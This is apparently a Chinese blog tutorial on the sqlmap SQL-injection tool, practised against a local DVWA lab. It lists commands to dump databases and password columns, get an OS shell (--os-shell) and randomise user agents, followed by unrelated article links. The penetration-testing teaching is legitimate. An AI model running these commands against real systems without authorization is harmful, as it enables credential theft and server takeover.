sql注入工具-​sqlmap

ops/2025/2/27 16:33:43/

介绍:

  • sqlmap是一款开源的自动化SQL注入工具,用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能,可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息,如用户名、密码和其他重要数据。
  • sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞,还可以使用不同的技术和方法来绕过应用程序的防御机制,以获取更多的信息和访问权限。
  • sqlmap具有命令行界面和图形用户界面两种使用方式,用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术,如时间延迟注入、布尔盲注和报错注入等,可以高效地检测和利用各种类型的SQL注入漏洞。
  • 总之,sqlmap是一款功能强大的SQL注入工具,可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞,从而提高安全性和保护敏感数据。

1. sqlmap工具安装

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

提示:如果你有kali虚拟机,也可以使用kali上自带的sqlmap


2. 快速上手sqlmap

提示:以下示例中使用的靶场为dvwa

1. 初体验-检测注入点:难度为 low 的 SQL Injection

如果测试的接口是登录后的那么就需要携带cookie给sqlmap,以下是关于cookie的获取方式

打开开发者工具,点击网络,然后重新刷新网页,找到sqli开头的文档,找到cookie然后复制

或者打开开发者工具后,在控制台输入,copy(document.cookie),就会自动复制

  1. 疑似存在注入点的url:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  2. 打开sqlmap,执行命令:检测注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'

  3. 执行完成的结果:

       


2. 初体验-检测注入点:难度为 High 的 SQL Injection

  • 主要是学习sqlmap,怎么用于对拥有二级页面的网址进行扫描
  • sqlmap针对于存在二级页面的使用方式
  • 这里可以将输入数据的页面称为一级页面,返回数据的页面称为二级页面

使用命令:

python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

命令解读:python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"


3.常用命令

基本的常用命令:

  • 检测注入点:sqlmap.py -u "疑似存在注入点的url"
  • 查看所有数据库sqlmap.py -u "疑似存在注入点的url" --dbs
  • 查看当前使用的数据库sqlmap.py -u "疑似存在注入点的url" --current-db
  • 查看数据表:sqlmap.py -u "疑似存在注入点的url" --tables
    • 或指定某个查看数据库的数据表名:sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
  • 查看数据表所有数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
    • 或者查看数据表中指定字段的数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
  • 获取数据库密码:sqlmap.py -u "疑似存在注入点的url" --password
  • 获取所有数据库用户:sqlmap.py -u "疑似存在注入点的url" --users
  • 指定扫描线程:sqlmap.py -u "疑似存在注入点的url" --threads=10
  • 设置cookie:sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
  • 获取数据表字段:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
  • 选项默认全选Y:sqlmap.py -u "疑似存在注入点的url" --batch
    • 使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
  • 注入探索等级,一般用4:sqlmap.py -u "疑似存在注入点的url" --level=1
    • --level 一共有5个等级:1-5
  • 设置注入类型:sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
    • B:Boolean-based blind(布尔型注入)
    • E:Error-based(报错型注入)
    • U:Union query-based(可联合查询注入)
    • S:Stacked queries(可多语句查询注入)
    • T:Time-based blind(基于时间延迟注入)
    • Q:Inline queries(嵌套查询注入)
    • 使用方式:
      • 1. 检测注入点:sqlmap.py -u "疑似存在注入点的url"
      • 2. 知道存在的注入点后-设置technique:sqlmap.py -u "疑似存在注入点的url"  --technique="B"
    • 获取数据库服务器的操作系统shell访问权限:--os-shell 
      • sqlmap.py -u "疑似存在注入点的url" --os-shell
  • 批量检测url命令 -m : sqlmap.py -m urls.txt
  • 检测burp抓包格式 -r: sqlmap.py -r burp.txt
  • 指定输出结果路径 --output-dir 路径: sqlmap.py -r burp.txt --output-dir C:\User\1111\Desktop\
  • 设置随机的HTTP User-Agent: sqlmap.py -u "疑似存在注入点的url" --random-agent
  • 指定url参数:sqlmap.py -u "疑似存在注入点的url" -p "id"
  • 以上的命令都能联合使用:
    • 例如:
      sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump 


关于level参数和risk参数

  • level参数:--level 参数决定了sqlmap在检测sql注入时的努力程度
    • level 1:默认的level等级,会测试GET和POST请求中的参数
    • level 2:除了前面提到的,还会检测cookie中的数据
    • level 3:user-agent和referer头部也纳入检测返回
    • level4~5:会尝试各种payloads 和边界条件,确保不放过任何潜在的注入点
      • 关于什么是payloas:
        • "payload" 是一个常见的术语,指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度,payload 可能是一段恶意代码,用于利用系统或应用程序中的漏洞,以获取未授权的访问权限、执行命令、窃取敏感信息等。
      • 默认使用sqlmap中的payloads
      • 关于自定义payloads请在搜索引擎上查找相关资料
  • risk参数:--risk 与 --level 不同,-risk 参数更像是告诉 sqlmap:“我愿意承担多大的风险来进行这次测试
    • risk 1:安全第一,默认的风险等级,风险几乎为 0 
    • risk 2:除了默认的检测,还会尝试时间型盲注
    • risk 3:在风险等级2的基础上,在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新,所以使用时需谨慎。
  • level 和 risk的区别:
    • 方向不同--level 更像是广度上的拓展,而 --risk 则是深度上的挖掘。
    • 场景不同:如果觉得默认的 GET 和 POST 参数检测不够,想要找找其它位置的注入点时,可以考虑加 --level 等级。如果可以确定某个位置就是存在注入点,或是强烈怀疑某个地方存在注入,但目前的 payload 覆盖不到,而且愿意承担风险进行深入测试时,可以考虑提升 --risk 等级。


http://www.ppmy.cn/ops/36755.html

相关文章

k8s-pod

Pod 是 Kubernetes 中最基础的组件,其他对象是在管理、暴露 pod 或被 pod 使用。 当一个 pod 包含多个容器时,这些容器总是运行于同一个工作节点上,一个 pod 绝不会跨越多个工作节点。 同一 pod 中容器之间的部分隔离 Kubernetes 通过配置 …

KUKA机器人故障报警信息处理(一)

1、KSS00276 机器人参数不等于机器人类型 ①登录专家模式 ②示教器操作:【菜单】—【显示】—【变量】—【单个】 ③名称输入:$ROBTRAFO[] 新值:TRAFONAME[] ④点击【设定值】。 2、电池报警: ①“充电电池警告-发现老化的蓄电池…

C语言栈的含义与栈数据操作代码详解!

引言:在本篇博客中,我们将学到数据结构——栈,讲到栈的含义与关于栈的数据操作代码。栈可以在顺序表、双向链表以及单链表的基础上实现,而于本篇博客中,我们选择在顺序表的基础上实现栈。 更多有关C语言和数据结构知识…

Qt_信号与槽_connect_自定义槽函数_自定义信号_2

文章目录 一、信号和槽的概述二、connect1.函数体2.使用样例3.问题1.问题12.问题2 三、自定义槽函数和信号1.代码自定义槽函数2.图形化一键创建槽函数3.自定义信号 - signals - emit4.信号和槽存在的意义5.关于信号槽两补充知识点1.使用disconnect来断开信号槽的连接。2.定义槽…

Effective Java

目录 一、创建和销毁对象 1.用静态工厂方法代替构造器: 2.考虑使用构建器: 3.用私有构造器或枚举类型强化Singleton属性: 4.通过私用构造器强化不可实例化的能力: 5.优先考虑依赖注入来引用资源: 6.避免创建不必…

面试经典150题——盛最多水的容器

面试经典150题 day28 题目来源我的题解方法一 双指针 题目来源 力扣每日一题;题序:11 我的题解 方法一 双指针 使用两个指针left和right,初始分别指向最左侧和最右侧,然后每次移动矮的一侧。存水量Math.min(height[left],heigh…

Python实现简单的Web服务器

Python实现简单的Web服务器 一、课程介绍 2. 内容简介 互联网在过去20年里已经大大地改变了我们的生活方式,影响着社会。但是反观互联网,它的基础-web的核心原理并没有改变多少。大部分web系统仍旧遵守 Tim Berners-Lee 20 多年前提出的 W…

multipass和multipassd命令的区别

multipassd通常是multipass服务的后台守护进程,它负责管理和控制虚拟机实例。 命令区别 例: multipass restart my-vm 这个命令用于重启Multipass中的虚拟机实例。例如有一个名为my-vm的虚拟机实例。 multipassd restart 这会重新启动Multipass后台…